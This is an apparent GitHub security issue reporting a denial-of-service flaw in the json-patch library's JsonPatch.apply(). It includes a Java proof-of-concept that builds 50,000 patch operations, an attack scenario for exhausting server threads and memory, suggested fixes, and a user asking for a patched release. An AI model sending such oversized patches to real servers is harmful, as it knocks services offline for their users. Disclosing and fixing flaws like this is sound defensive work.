Repository navigation
[Security] Denial of Service via Unbounded Patch Operations and deepCopy in JsonPatch.apply() #167
Copy link
Copy link
Open
Description
Security Vulnerability Report
Metadata
| Field | Value |
|---|---|
| Affected Version | 1.13 (latest on Maven Central) |
| Component | JsonPatch.apply() |
| File | src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113 |
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| CVSS 3.1 | 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
Summary
JsonPatch.apply() accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally calls node.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.
Root Cause
// src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113
public JsonNode apply(final JsonNode node) throws JsonPatchException {
JsonNode ret = node;
for (final JsonPatchOperation operation : operations) { // No limit on operations.size()!
ret = operation.apply(ret); // Each apply() calls deepCopy() internally
}
return ret;
}There is:
- No maximum number of operations
- No timeout or operation budget
- No backpressure mechanism
deepCopy()on every operation multiplies memory consumption
Proof of Concept
Runtime verified on VM with OpenJDK 21:
--- Test 4: DoS via Unbounded Patch Operations ---
Applied 50000 operations in 68791ms, result has 50000 fields
VULNERABLE: No limit on number of patch operations accepted
Minimal reproduction:
import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
ObjectMapper mapper = new ObjectMapper();
ArrayNode ops = mapper.createArrayNode();
// Create 50,000 add operations
for (int i = 0; i < 50000; i++) {
ops.addObject()
.put("op", "add")
.put("path", "/field" + i)
.put("value", "data" + i);
}
JsonPatch patch = JsonPatch.fromJson(ops);
JsonNode target = mapper.createObjectNode();
// This takes 68+ seconds and consumes massive memory
JsonNode result = patch.apply(target); // 68,791ms!Attack scenario:
- Attacker sends a single HTTP request with 50,000+ JSON Patch operations
JsonPatch.apply()processes all operations sequentially- Each operation calls
deepCopy()on the growing document - Server thread blocked for 68+ seconds; memory grows quadratically
- Multiple concurrent requests exhaust thread pool and memory
Impact
- Denial of Service: Single HTTP request blocks a server thread for 68+ seconds
- Memory exhaustion: Each operation copies the entire document; 50,000 ops on a 1KB document = ~50MB+ allocations
- Thread pool exhaustion: 4-8 concurrent malicious requests exhaust typical thread pools
- No authentication required: Any endpoint accepting JSON Patch is vulnerable
Suggested Remediation
- Add configurable maximum operation count (default e.g. 10,000):
public JsonNode apply(final JsonNode node) throws JsonPatchException {
if (operations.size() > maxOperations) {
throw new JsonPatchException("Patch exceeds maximum operation count: " + maxOperations);
}
// ... existing logic
}-
Consider structural sharing instead of
deepCopy()per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M). -
Add operation timeout for long-running patches.
References
- RFC 6902 Section 3: "A JSON Patch document is a JSON document that represents an array of objects" — the RFC does not mandate accepting unlimited arrays
- CWE-400: https://cwe.mitre.org/data/definitions/400.html
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels
Activity
TonyOlaCodes commentedon Sep 28, 2026
Hi, we're currently using json-patch 1.13 and have been impacted by CVE-2026-86318 (Denial of Service via unbounded patch operations in JsonPatch.apply()). We've checked and there's no patched release available. Could you share whether a fix is being worked on and if there's an expected timeline for a release? We'd really appreciate any update. Thanks!